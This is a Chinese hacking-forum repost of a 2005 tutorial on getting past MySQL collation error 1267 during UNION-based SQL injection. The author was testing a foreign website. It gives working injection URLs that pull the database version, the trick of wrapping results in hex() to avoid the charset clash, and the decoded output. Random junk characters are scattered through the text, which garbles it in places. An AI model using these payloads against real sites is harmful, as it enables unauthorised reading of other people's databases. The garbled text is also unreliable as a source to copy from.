找回密码
 立即注册
查看: 2251|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei) b9 r& R% T1 u4 A
文章性质:原创
9 H  h$ }4 @! b( p! r* {5 M& B发布日期:2005-10-18
% D0 J+ v) B! V% b, h$ G. a测试个国外的站时:7 K" B7 D! g" {6 n% b" w% R" X8 ?
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*3 x; x4 a# D5 s( W
返回错误:. ?, e( d* r, {$ g) g3 J5 `' M
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
% Q7 c4 z# u' G: z" Z" M( aMySQL Error No. 126$ X5 S; ]$ d% D6 E# w0 m2 @
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
6 V& d7 v& j6 H( r- U2 V解决办法:转为其他编码如hex。% F2 i# q1 K# B9 ~& C) K
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*5 h8 p0 l* p7 b# U1 p
成功得到hex(version())的值为:) ^- e. v0 R5 z; J5 l2 E% C
342E312E332D62657461/ `: B, r( c7 ^; ]" J
回Mysql查询下得到:) i$ m' n; l9 P* M
mysql> select 0x342E312E332D62657461;% T) Q; y* Q0 g  l5 ?- h+ W9 ~- E. V; j
+------------------------+8 I7 F7 J/ O. j! q$ c
| 0x342E312E332D62657461 |
2 S$ h4 M% Y# c3 R+------------------------+
2 d, p1 l. {0 @( Y8 R% c| 4.1.3-beta |$ Z) L2 V- N/ X, I, x2 A
+------------------------+
4 T: G7 L2 {  _; O2 H2 ^9 i1 row in set (0.00 sec); W3 l4 e( G# L/ G
' I9 B/ I& y0 {% I% W6 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表